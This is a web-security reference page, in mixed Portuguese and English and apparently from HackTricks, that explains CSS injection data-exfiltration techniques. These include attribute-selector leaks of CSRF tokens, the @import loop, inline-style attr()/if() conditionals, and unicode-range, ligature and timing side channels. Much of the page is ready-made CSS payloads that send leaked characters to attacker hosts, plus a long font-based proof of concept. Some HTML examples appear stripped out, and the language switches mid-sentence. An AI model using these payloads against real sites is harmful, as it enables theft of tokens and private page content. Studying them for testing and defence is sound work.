# CSS Injection {{#include ../../../banners/hacktricks-training.md}} ## CSS Injection ### Seletor de Atributo Seletores CSS são criados para corresponder aos valores dos atributos `name` e `value` de um elemento `input`. Se o atributo `value` do elemento `input` começar com um caractere específico, um recurso externo predefinido é carregado: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); } input[name="csrf"][value^="b"] { background-image: url(https://attacker.com/exfil/b); } /* ... */ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (`type="hidden"`), pois elementos ocultos não carregam imagens de fundo. #### Bypass para Elementos Ocultos Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` Um exemplo prático de exploração dessa técnica está detalhado no snippet de código fornecido. Você pode visualizá-lo [aqui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Pré-requisitos para CSS Injection Para que a técnica CSS Injection seja eficaz, certas condições devem ser atendidas: 1. **Payload Length**: O vetor de injeção CSS deve suportar payloads suficientemente longos para acomodar os seletores criados. 2. **CSS Re-evaluation**: Você deve ter a capacidade de embeber a página em um frame/iframe, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados. 3. **External Resources**: A técnica assume a possibilidade de usar imagens hospedadas externamente. Isso pode ser restringido pela Content Security Policy (CSP) do site. ### Blind Attribute Selector Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos 'blind'. Isso é muito útil quando você não tem ideia do que há dentro da página web que está carregando a CSS Injection.\ Também é possível usar esses seletores para extrair informação de vários blocos do mesmo tipo, como em: ```html ``` Combinando isso com a seguinte técnica **@import**, é possível exfiltrar muita **informação usando CSS injection a partir de páginas blind com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.** ### @import A técnica anterior tem algumas desvantagens, confira os pré-requisitos. Você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável a CSS injection**. No entanto, existe outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica. Isto foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funciona assim: Em vez de carregar a mesma página repetidas vezes com dezenas de payloads diferentes cada vez (como na técnica anterior), vamos **carregar a página apenas uma vez e apenas com um import para o servidor do atacante** (este é o payload a enviar para a vítima): ```css @import url("//attacker.com:5001/start?"); ``` 1. O import vai **receber some CSS script** dos atacantes e o **browser will load it**. 2. A primeira parte do CSS script que o atacante irá enviar é **another `@import` to the attackers server again.** 1. O attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones. 3. A segunda e maior parte do payload é going to be an **attribute selector leakage payload** 1. This will send to the attackers server the **first char of the secret and the last one** 4. Uma vez que o attackers server has received the **first and last char of the secret**, ele irá **respond the import requested in the step 2**. 1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**. O atacante irá s**eguir esse loop até conseguir leak completamente o segredo**. You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection) > [!TIP] > O script tentará descobrir 2 chars cada vez (do começo e do fim) porque o attribute selector allows to do things like: > > ```css > /* value^= to match the beggining of the value*/ > input[value^="0"] { > --s0: url(http://localhost:5001/leak?pre=0); > } > > /* value$= to match the ending of the value*/ > input[value$="f"] { > --e0: url(http://localhost:5001/leak?post=f); > } > ``` > > This allows the script to leak the secret faster. > [!WARNING] > Às vezes o script **não detecta corretamente que o prefix + suffix discovered is already the complete flag** e ele continuará forwards (no prefix) e backwards (no suffix) e em algum ponto irá hang.\ > Sem problemas, apenas verifique a **output** porque **você pode ver a flag lá**. ### Inline-Style CSS Exfiltration (attr() + if() + image-set()) This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value. > [!WARNING] > Comparisons de igualdade em if() requerem aspas duplas para literais de string. Aspas simples não irão corresponder. - Sink: controlar o atributo style de um elemento e garantir que o atributo alvo esteja no mesmo elemento (attr() reads only same-element attributes). - Read: copiar o atributo para uma variável CSS: `--val: attr(title)`. - Decide: selecionar uma URL usando condicionais aninhados comparando a variável com candidatos string: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`. - Exfiltrate: aplicar `background: image-set(var(--steal))` (ou qualquer fetching property) para forçar uma requisição ao endpoint escolhido. Attempt (does not work; single quotes in comparison): ```html
test
``` Payload funcional (aspas duplas obrigatórias na comparação): ```html
test
``` Enumerando valores de atributos com condicionais aninhados: ```html
``` Demonstração realista (sondando nomes de usuário): ```html
``` Notas e limitações: - Funciona em navegadores baseados em Chromium na época da pesquisa; o comportamento pode diferir em outros engines. - Mais adequado para espaços de valores finitos/enumeráveis (IDs, flags, nomes de usuário curtos). Roubar strings arbitrariamente longas sem folhas de estilo externas continua sendo desafiador. - Qualquer propriedade CSS que busque uma URL pode ser usada para disparar a requisição (por exemplo, background/image-set, border-image, list-style, cursor, content). Automação: uma Burp Custom Action pode gerar payloads inline-style aninhados para brute-forcear valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda ### Outros seletores Outras formas de acessar partes do DOM com **CSS selectors**: - **`.class-to-search:nth-child(2)`**: Isso irá procurar o segundo item com a classe "class-to-search" no DOM. - **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** ```css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); } ``` ### Error based XS-Search **Referência:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) A intenção geral é **usar uma fonte customizada de um endpoint controlado** e garantir que **o texto (neste caso, 'A') seja exibido com essa fonte somente se o recurso especificado (`favicon.ico`) não puder ser carregado**. ```html A ``` 1. **Uso de Fonte Personalizada**: - Uma fonte personalizada é definida usando a regra `@font-face` dentro de uma tag `

AB

htm ``` When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B". ### Text node exfiltration (I): ligatures **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) A técnica descrita envolve extrair texto de um nó explorando font ligatures e monitorando mudanças na largura. O processo envolve vários passos: 1. **Creation of Custom Fonts**: - SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence. - Example SVG glyph: ``, where "XY" denotes a two-character sequence. - These fonts are then converted to woff format using fontforge. 2. **Detection of Width Changes**: - CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style. - The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text. - The CSS involved: ```css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } ``` 3. **Exploit Process**: - **Step 1**: Fonts are created for pairs of characters with substantial width. - **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence. - **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character. - **Step 4**: Detection of the three-character ligature is carried out. - **Step 5**: The process repeats, progressively revealing the entire text. 4. **Optimization**: - The current initialization method using ` **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed. O conceito gira em torno de utilizar uma animação para expandir incrementalmente a largura de uma `div`, permitindo que um caractere por vez transite da parte 'suffix' do texto para a parte 'prefix'. Esse processo efetivamente divide o texto em duas seções: 1. Prefix: a linha inicial. 2. Suffix: as linhas subsequentes. As etapas de transição dos caracteres apareceriam da seguinte forma: **C**\ ADB **CA**\ DB **CAD**\ B **CADB** Durante essa transição, o **unicode-range trick** é empregado para identificar cada novo caractere conforme ele entra no prefix. Isso é conseguido trocando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, acionando consequentemente uma scrollbar vertical. O aparecimento dessa scrollbar revela indiretamente a presença de um novo caractere no prefix. Embora este método permita a detecção de caracteres únicos conforme aparecem, ele não especifica qual caractere está repetido, apenas que uma repetição ocorreu. > [!TIP] > Basicamente, o **unicode-range é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\ > Quando o **caractere** é **encontrado**, ele recebe a fonte pré-instalada **Comic Sans**, que o torna **maior** e aciona uma scrollbar que vai **leak o caractere encontrado**. Check the code extracted from the PoC: ```css /* comic sans is high (lol) and causes a vertical overflow */ @font-face { font-family: has_A; src: local("Comic Sans MS"); unicode-range: U+41; font-style: monospace; } @font-face { font-family: has_B; src: local("Comic Sans MS"); unicode-range: U+42; font-style: monospace; } @font-face { font-family: has_C; src: local("Comic Sans MS"); unicode-range: U+43; font-style: monospace; } @font-face { font-family: has_D; src: local("Comic Sans MS"); unicode-range: U+44; font-style: monospace; } @font-face { font-family: has_E; src: local("Comic Sans MS"); unicode-range: U+45; font-style: monospace; } @font-face { font-family: has_F; src: local("Comic Sans MS"); unicode-range: U+46; font-style: monospace; } @font-face { font-family: has_G; src: local("Comic Sans MS"); unicode-range: U+47; font-style: monospace; } @font-face { font-family: has_H; src: local("Comic Sans MS"); unicode-range: U+48; font-style: monospace; } @font-face { font-family: has_I; src: local("Comic Sans MS"); unicode-range: U+49; font-style: monospace; } @font-face { font-family: has_J; src: local("Comic Sans MS"); unicode-range: U+4a; font-style: monospace; } @font-face { font-family: has_K; src: local("Comic Sans MS"); unicode-range: U+4b; font-style: monospace; } @font-face { font-family: has_L; src: local("Comic Sans MS"); unicode-range: U+4c; font-style: monospace; } @font-face { font-family: has_M; src: local("Comic Sans MS"); unicode-range: U+4d; font-style: monospace; } @font-face { font-family: has_N; src: local("Comic Sans MS"); unicode-range: U+4e; font-style: monospace; } @font-face { font-family: has_O; src: local("Comic Sans MS"); unicode-range: U+4f; font-style: monospace; } @font-face { font-family: has_P; src: local("Comic Sans MS"); unicode-range: U+50; font-style: monospace; } @font-face { font-family: has_Q; src: local("Comic Sans MS"); unicode-range: U+51; font-style: monospace; } @font-face { font-family: has_R; src: local("Comic Sans MS"); unicode-range: U+52; font-style: monospace; } @font-face { font-family: has_S; src: local("Comic Sans MS"); unicode-range: U+53; font-style: monospace; } @font-face { font-family: has_T; src: local("Comic Sans MS"); unicode-range: U+54; font-style: monospace; } @font-face { font-family: has_U; src: local("Comic Sans MS"); unicode-range: U+55; font-style: monospace; } @font-face { font-family: has_V; src: local("Comic Sans MS"); unicode-range: U+56; font-style: monospace; } @font-face { font-family: has_W; src: local("Comic Sans MS"); unicode-range: U+57; font-style: monospace; } @font-face { font-family: has_X; src: local("Comic Sans MS"); unicode-range: U+58; font-style: monospace; } @font-face { font-family: has_Y; src: local("Comic Sans MS"); unicode-range: U+59; font-style: monospace; } @font-face { font-family: has_Z; src: local("Comic Sans MS"); unicode-range: U+5a; font-style: monospace; } @font-face { font-family: has_0; src: local("Comic Sans MS"); unicode-range: U+30; font-style: monospace; } @font-face { font-family: has_1; src: local("Comic Sans MS"); unicode-range: U+31; font-style: monospace; } @font-face { font-family: has_2; src: local("Comic Sans MS"); unicode-range: U+32; font-style: monospace; } @font-face { font-family: has_3; src: local("Comic Sans MS"); unicode-range: U+33; font-style: monospace; } @font-face { font-family: has_4; src: local("Comic Sans MS"); unicode-range: U+34; font-style: monospace; } @font-face { font-family: has_5; src: local("Comic Sans MS"); unicode-range: U+35; font-style: monospace; } @font-face { font-family: has_6; src: local("Comic Sans MS"); unicode-range: U+36; font-style: monospace; } @font-face { font-family: has_7; src: local("Comic Sans MS"); unicode-range: U+37; font-style: monospace; } @font-face { font-family: has_8; src: local("Comic Sans MS"); unicode-range: U+38; font-style: monospace; } @font-face { font-family: has_9; src: local("Comic Sans MS"); unicode-range: U+39; font-style: monospace; } @font-face { font-family: rest; src: local("Courier New"); font-style: monospace; unicode-range: U+0-10FFFF; } div.leak { overflow-y: auto; /* leak channel */ overflow-x: hidden; /* remove false positives */ height: 40px; /* comic sans capitals exceed this height */ font-size: 0px; /* make suffix invisible */ letter-spacing: 0px; /* separation */ word-break: break-all; /* small width split words in lines */ font-family: rest; /* default */ background: grey; /* default */ width: 0px; /* initial value */ animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */ animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */ } div.leak::first-line { font-size: 30px; /* prefix is visible in first line */ text-transform: uppercase; /* only capital letters leak */ } /* iterate over all chars */ @keyframes trychar { 0% { font-family: rest; } /* delay for width change */ 5% { font-family: has_A, rest; --leak: url(?a); } 6% { font-family: rest; } 10% { font-family: has_B, rest; --leak: url(?b); } 11% { font-family: rest; } 15% { font-family: has_C, rest; --leak: url(?c); } 16% { font-family: rest; } 20% { font-family: has_D, rest; --leak: url(?d); } 21% { font-family: rest; } 25% { font-family: has_E, rest; --leak: url(?e); } 26% { font-family: rest; } 30% { font-family: has_F, rest; --leak: url(?f); } 31% { font-family: rest; } 35% { font-family: has_G, rest; --leak: url(?g); } 36% { font-family: rest; } 40% { font-family: has_H, rest; --leak: url(?h); } 41% { font-family: rest; } 45% { font-family: has_I, rest; --leak: url(?i); } 46% { font-family: rest; } 50% { font-family: has_J, rest; --leak: url(?j); } 51% { font-family: rest; } 55% { font-family: has_K, rest; --leak: url(?k); } 56% { font-family: rest; } 60% { font-family: has_L, rest; --leak: url(?l); } 61% { font-family: rest; } 65% { font-family: has_M, rest; --leak: url(?m); } 66% { font-family: rest; } 70% { font-family: has_N, rest; --leak: url(?n); } 71% { font-family: rest; } 75% { font-family: has_O, rest; --leak: url(?o); } 76% { font-family: rest; } 80% { font-family: has_P, rest; --leak: url(?p); } 81% { font-family: rest; } 85% { font-family: has_Q, rest; --leak: url(?q); } 86% { font-family: rest; } 90% { font-family: has_R, rest; --leak: url(?r); } 91% { font-family: rest; } 95% { font-family: has_S, rest; --leak: url(?s); } 96% { font-family: rest; } } /* increase width char by char, i.e. add new char to prefix */ @keyframes loop { 0% { width: 0px; } 1% { width: 20px; } 2% { width: 40px; } 3% { width: 60px; } 4% { width: 80px; } 4% { width: 100px; } 5% { width: 120px; } 6% { width: 140px; } 7% { width: 0px; } } div::-webkit-scrollbar { background: blue; } /* side-channel */ div::-webkit-scrollbar:vertical { background: blue var(--leak); } ``` ### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) **Referência:** Isto é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Este caso é muito semelhante ao anterior, porém, neste caso o objetivo de fazer **caracteres maiores que outros para esconder algo** é, por exemplo, ocultar um botão para que não seja pressionado pelo bot ou uma imagem que não será carregada. Assim, podemos medir a ação (ou a falta dela) e saber se um caractere específico está presente no texto. ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) **Referência:** Isto é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Neste caso, poderíamos tentar leak se um char está no texto carregando uma fonte falsa da mesma origem: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1); unicode-range: U+0041; } ``` Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não seja carregada com sucesso, o **navegador deve armazená-la em cache**, e mesmo se não houver cache, existe o mecanismo **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas. No entanto, se a diferença de tempo entre a resposta em cache e a sem cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente cuidadoso. ### Text node exfiltration (III): leaking the charset por medição do tempo de carregamento de centenas de "fontes" locais (não requerendo recursos externos) **Referência:** Isto é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2), .... url(/static/bootstrap.min.css?q=500); unicode-range: U+0041; } ``` E o código do bot fica assim: ```python browser.get(url) WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') time.sleep(30) ``` Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot deverá ser aproximadamente 30 segundos. Contudo, se houver correspondência da fonte, múltiplas requisições serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Assim, o tempo de resposta pode ser usado como um indicador para determinar se há correspondência da fonte. ## Referências - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) - [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration) - [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda) - [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php) - [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if) - [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr) - [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set) {{#include ../../../banners/hacktricks-training.md}}